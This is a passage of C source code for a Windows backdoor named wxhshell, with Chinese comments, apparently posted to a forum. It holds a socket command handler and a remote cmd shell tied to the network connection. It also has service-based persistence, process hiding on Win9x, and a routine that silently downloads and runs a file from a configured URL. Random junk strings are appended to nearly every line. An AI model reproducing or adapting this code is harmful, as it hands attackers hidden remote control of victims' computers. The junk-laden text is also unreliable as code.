    switch(cmd[0]) { ySLa4DQf  
  :eIu<_,}  
  // 帮助 %\5d?;   
  case '?': { kCO`JAH#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !vB8Pk"  
    break; J~3+j6?%  
  } 6 ZutU ~HS  
  // 安装 I'M,p<B  
  case 'i': { G:HPd.ay  
    if(Install()) ;-:Nw6 E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8R;)WlLu=  
    else Wu\{)g{&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H +O7+=&  
    break; DRC2U%[  
    } j`GL#J[wqQ  
  // 卸载 &"(xd@V)]A  
  case 'r': { F|t3%dpj  
    if(Uninstall()) }6;v`1Hr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y Q_lJIX  
    else -^i[   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J_]B,' 6  
    break; bF5mCR:  
    } #-wtNM%1#  
  // 显示 wxhshell 所在路径 u dhj$:t  
  case 'p': { FvpI\%#~  
    char svExeFile[MAX_PATH];  0(2r"Hi  
    strcpy(svExeFile,"\n\r"); VfK8')IXk  
      strcat(svExeFile,ExeFile); DeTx7i0  
        send(wsh,svExeFile,strlen(svExeFile),0); biy1!r  
    break; 6tC0F=  
    } y6 bl&_  
  // 重启 Z Sj[GI  
  case 'b': { OaeGukhX&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 66G$5  
    if(Boot(REBOOT)) =BN_Kvza^6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dD Qx[  
    else { LZirw'  
    closesocket(wsh); .</`#   
    ExitThread(0); w%(Ats  
    } 0=3Av8  
    break; 5E|y5|8fb  
    } Fc{X$hh<  
  // 关机 vN`2KCl~3  
  case 'd': { .Du-~N4\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &R? \q*  
    if(Boot(SHUTDOWN)) oDtgB O<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8CR b6  
    else { &Ff#E?Y4|  
    closesocket(wsh); EZ6\pyNB0#  
    ExitThread(0); To_Y 8 G  
    } ?U\@?@  
    break; u|v2J/_5Y  
    } ,i>{yrsOh  
  // 获取shell VM 3~W  
  case 's': { 8U98`# i  
    CmdShell(wsh); g%P6f  
    closesocket(wsh); 3oH.1M/  
    ExitThread(0); T}%8Vlt]  
    break; U}w,$ Y  
  } +K6j p  
  // 退出 r5h+_&v,M  
  case 'x': { jea{BhdUr  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~C|. .Z  
    CloseIt(wsh); S?ypka"L  
    break; '&XL|_Iq  
    } w}wABO  
  // 离开 }Zs y&K  
  case 'q': { '<}N`PS#N  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6FYO5=R  
    closesocket(wsh); u0&QStI  
    WSACleanup(); i%M6$or  
    exit(1); c Z6Zx]  
    break; 8zDLX,M-  
        } Fj?gXc5{  
  } ID/=YG@  
  } {yo<19kV@  
!p&[:+qN  
  // 提示信息 p$mx  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sqtMhUQ?>w  
} N- !>\n  
  } v}vwk8  
?pE)K<+Zkf  
  return; g4Y1*`}2f  
} b4 Y<  
U`G  
// shell模块句柄 %\i OX|F_  
int CmdShell(SOCKET sock) k}MmgaT:5]  
{ re]e4lZ  
STARTUPINFO si; }0Q_yuzx0m  
ZeroMemory(&si,sizeof(si)); S!'Y:AeD&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V 6DWYs>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'T!^H  
PROCESS_INFORMATION ProcessInfo; Pdq}~um3{  
char cmdline[]="cmd"; eflmD$]SW  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L5-p0O`R  
  return 0; 9L2]PU v  
} >s 5i  
i?{cB!7  
// 自身启动模式 16J" QUuG  
int StartFromService(void) ><t4 f(d  
{ %5?Zjp+9  
typedef struct "s$$M\)T  
{ thT2U8%T  
  DWORD ExitStatus; $,@PY5r  
  DWORD PebBaseAddress; DW@|H  
  DWORD AffinityMask; r |H 1Yy  
  DWORD BasePriority; -2o_ L?  
  ULONG UniqueProcessId; l2Gtw*i_I  
  ULONG InheritedFromUniqueProcessId; $(3mpQAg  
}   PROCESS_BASIC_INFORMATION; tsYBZaH  
U*p;N,SjQ  
PROCNTQSIP NtQueryInformationProcess; aEL^N0\d  
`(2Y%L(r  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -~Ll;}nZC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]AB<OjF1c|  
|\# ~  
  HANDLE             hProcess; jpGZ&L7i&  
  PROCESS_BASIC_INFORMATION pbi; _Se0,Uns  
C\3;o]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &U.U<  
  if(NULL == hInst ) return 0; |TQ#[9C0  
] I&l0Fx  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); })V^t3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4r+@7hnK  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %1oh+'ES F  
S)?V;@p6  
  if (!NtQueryInformationProcess) return 0; G!G]*p5  
lG1\41ZxB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y-.<iq  
  if(!hProcess) return 0; 51sn+h<w  
:637MD>5lO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MWl2;qi  
)z" .lw  
  CloseHandle(hProcess); m@,u&9K  
;4MC/Q/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^MXW,xqb  
if(hProcess==NULL) return 0; 3 i*HwEh  
c :d.mkF\  
HMODULE hMod; e+TSjm  
char procName[255]; `X8wnD  
unsigned long cbNeeded; /WxCsQn  
QC,LHt?6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M:5K4$>Kx  
}zO>y%eI  
  CloseHandle(hProcess); #CV;Np  
\aY<| 7zK  
if(strstr(procName,"services")) return 1; // 以服务启动 85}S8\_u  
Os rHA  
  return 0; // 注册表启动 E',z<S  
} es6]c%o:t^  
X21k7 Ls  
// 主模块 Y\ C"3+I  
int StartWxhshell(LPSTR lpCmdLine) WA?We7m$  
{ kMz*10$gn  
  SOCKET wsl; P9W!xvV`w  
BOOL val=TRUE; BzXTHFMSy  
  int port=0; 2+oS'nL  
  struct sockaddr_in door; t+l{D#?a  
kgv29j?k;  
  if(wscfg.ws_autoins) Install(); _?I6[Mz  
2gN78#d  
port=atoi(lpCmdLine); RSTA!?K/.  
|uIgZ|7[  
if(port<=0) port=wscfg.ws_port; ,SF>$ .  
)Y](Mj!D  
  WSADATA data;  d5YL=o  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; VE $Kdo^  
r,r"?}Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ty>9i]Y-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N hY`_?)  
  door.sin_family = AF_INET; =mp"=%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Xt%y>'.  
  door.sin_port = htons(port); qydRmi  
h`@z61UI  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8o  SL3  
closesocket(wsl); '3uN]-A>D  
return 1; = j!nt8]8  
} x,fX mgE  
@TraEBJGL  
  if(listen(wsl,2) == INVALID_SOCKET) { j9r%OZw{  
closesocket(wsl);  84g8$~M  
return 1; BGrV,h^  
} ] :.  
  Wxhshell(wsl); r}4   
  WSACleanup(); KX^!t3l6  
t!&p5wJ*Q  
return 0; !CUy{nV  
"MPr'3  
} f5`q9w_c  
q |Orv =v  
// 以NT服务方式启动 @#>YU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tE$oV  
{ }I"k=>Ycns  
DWORD   status = 0; V2B: DIpr  
  DWORD   specificError = 0xfffffff; AT -  
89YG `  
  serviceStatus.dwServiceType     = SERVICE_WIN32; sHPK8Wsg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Qm)c!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,ieew`  
  serviceStatus.dwWin32ExitCode     = 0; ai]KH7  
  serviceStatus.dwServiceSpecificExitCode = 0; 3>#io^35  
  serviceStatus.dwCheckPoint       = 0; Jz@2?wSp  
  serviceStatus.dwWaitHint       = 0; ,c&%/"i:w  
1 uJpn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p_EWpSOt7  
  if (hServiceStatusHandle==0) return; 8=,?B h".  
Ro.br:'Bw  
status = GetLastError(); P_F0lO  
  if (status!=NO_ERROR) }Ryrd!3bY  
{ ;8Ts  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ewa/6=]LA  
    serviceStatus.dwCheckPoint       = 0; &`2$,zX#  
    serviceStatus.dwWaitHint       = 0; c9ea%7o{0a  
    serviceStatus.dwWin32ExitCode     = status; _X~xfmU  
    serviceStatus.dwServiceSpecificExitCode = specificError; }Sh3AH/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); bcUa'ZfN<  
    return; ?hOv Y)  
  } M6lNdK  
@^t1SPp  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  bE%*ZB  
  serviceStatus.dwCheckPoint       = 0; 1UN$eb7  
  serviceStatus.dwWaitHint       = 0; +(m*??TAV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *Xk gwJq  
} Dq<!wtFG[  
V`_)H  
// 处理NT服务事件,比如:启动、停止 k&pV`.Imi  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gJJBRn{MI  
{ \Z^Tk   
switch(fdwControl) 2!nz>K  
{ mc|8t0+1`  
case SERVICE_CONTROL_STOP: <.U(%`|  
  serviceStatus.dwWin32ExitCode = 0; /& o<kY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _m#P\f'p  
  serviceStatus.dwCheckPoint   = 0; t&MLgu  
  serviceStatus.dwWaitHint     = 0; suFO~/lRno  
  { `##^@N<P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bb!cZ >Z  
  } |6w {%xC?"  
  return; bI:cYn1  
case SERVICE_CONTROL_PAUSE: ,h },jkY4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T5+ (Fz  
  break; 9D @}(t !  
case SERVICE_CONTROL_CONTINUE: h9cx~/7,_)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )vD|VLV   
  break; "rcV?5?v~  
case SERVICE_CONTROL_INTERROGATE: Jyyr'1/<k  
  break; *|S{%z9>  
}; 7,2#0Z`ge  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >_u5"&q  
} tWI %P&b  
<]u]rZc$  
// 标准应用程序主函数 hOr4C4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <(x!P=NM-  
{ nzl3<Ar  
:Y[?@/m4  
// 获取操作系统版本 xX\A& 9m  
OsIsNt=GetOsVer(); w!/|aZ~*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x-H R[{C  
GQ1m h*4$  
  // 从命令行安装 |K'7BK_^J  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7KZ>x*o  
10ZL-7D#m  
  // 下载执行文件 +5ue) `  
if(wscfg.ws_downexe) { 3bR 6Y[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) otJHcGv  
  WinExec(wscfg.ws_filenam,SW_HIDE); gFw- P#t  
}  m8z414o  
xj. )iegQ  
if(!OsIsNt) { C''[[sw'K  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z]k+dJ[-  
HideProc(); d^G5Pq  
StartWxhshell(lpCmdLine); &` weW  
} ! 345  
else 2VgVn,c  
  if(StartFromService()) {3N5Fi7S  
  // 以服务方式启动 OYY_@'D  
  StartServiceCtrlDispatcher(DispatchTable); QUi=ZD1  
else jHM}({)-  
  // 普通方式启动 fR,7l9<%Zp  
  StartWxhshell(lpCmdLine); V6tUijz  
G-G\l?R(  
return 0; Wfj*)j Q  
}
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只看该作者 1 发表于: 2006-10-10
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